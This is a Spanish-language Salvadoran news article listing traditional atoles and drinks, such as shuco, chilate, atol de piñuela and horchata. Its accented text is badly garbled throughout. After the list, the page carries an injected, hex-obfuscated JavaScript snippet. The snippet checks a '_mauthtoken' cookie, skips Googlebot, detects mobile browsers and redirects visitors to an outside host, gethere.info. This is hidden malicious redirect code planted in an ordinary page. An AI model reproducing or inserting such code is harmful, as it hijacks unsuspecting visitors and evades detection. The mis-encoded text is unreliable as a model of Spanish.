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3 Jul 2015
Noticias | Por: Redacción

Los atoles que solo en El Salvador podAi??s disfrutar con sabor A?nico

El famoso ai???shucoai???, el de piAi??uela y el chilate, son algunas de las bebidas tradicionales que en El Salvador se disfrutan con un sabor A?nico. A?CuA?les has probado? A?CuA?les te faltan por probar?

Fotos: El Salvador Mi PaAi??s

En El Salvador existe una diversidad de atoles que se han posicionado entre las preferencias de sus habitantes. La combinaciA?n del maAi??z, el azA?car, la canela, la pimienta gorda, la piAi??uela, por mencionar algunos, da como resultados sabores exquisitos, inigualables y hasta enviciados para algunos. Si no por gusto atoles como el shuco, el chilate, el de semilla de maraAi??A?n o el de piAi??uela, son de los mA?s populares entre los comensales. AquAi?? te contamos un poco mA?s de dA?nde vienen esos atoles y de quAi?? estA?n conformados, por si aA?n desconocen sobre eso. A?CuA?l es el de tu preferencia?

(Las pupusas cambian, segA?n los paladares)

  1. A?Atol de semilla de maraAi??A?n o de pepa? Se prepara a base de semilla del maraAi??A?n, la cual es tostada y molida. Esta es preparada conjuntamente con leche, azA?car y canela.atol1
  2. Atol de elote. La historia de este atol se remonta a tiempos inmemoriales, donde la ancestral cultura maya lo preparaba, para quienes era una forma rA?pida y fA?cil de ingerir las calorAi??as necesarias para el dAi??a. Ellos lo condimentaban con cacao, hierbas y edulcorantes como la miel. Se prepara con maAi??z fresco, al cual se le aAi??ade leche, canela y azA?car.atol2
  3. Atol de piAi??uela. Esta bebida es elaborada con el fruto de piAi??al que es utilizado como cerco en el campo. Aunque ante la escasez de la piAi??uela, muchos optan por usar piAi??a, que siempre le da ese sabor y color peculiar a dicha bebida.atol3

 

  1. Atol shuco. Este es el atol mA?s antiguo. En lenguaje nA?huatl su significado es atol hecho de maAi??z fermentado. Su sabor es agrio y un poco salado. Tiene una apariencia de color sucio y se sirve usualmente en huacal de morro.atol4
  2. El Chilate. Es una bebida de maAi??z que adquiere diferentes sazones y modos de preparar en varias partes de MesoamAi??rica. Se cocina con agua de ceniza y su uso es puramente ceremonial. Usualmente es acompaAi??ado de nuAi??gados de maAi??z, yuca o huevo; plA?tano, ayote, camote en miel de panela o atado de dulce.atol5
  3. Arroz en leche. Es un postre tAi??pico hecho con arroz lentamente cocido con agua y combinado con leche, azA?car y canela. Se sirve frio o caliente.atol6
  4. Leche poleada. Es un postre salvadoreAi??o de consistencia espesa y que es elaborado a base de leche, yemas, azA?car y con un toque de canela. Se emplea harina de arroz, al servir muchas personas la decora con canela en polvo y pasas.atol7
  5. Chocolate caliente. Es una preparaciA?n que se hace extrayendo la manteca de la nuez del cacao y mezclA?ndola con azA?car, haciendo una pasta dulce que es soluble en agua y leche.atol8
  6. Licor de nance. El A?rbol de nance se encuentra sobre todo en las zonas tropicales.atol9
  7. La horchata. Esta es una de las bebidas mA?s populares entre los salvadoreAi??os. Horchata viene de la palabra en catalA?n orxata, probablemente derivada de la palabra ordieta, hecha de ordi, que quiere decir cebada.atol10

(Los Planes de Renderos y sus pupusas)var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge 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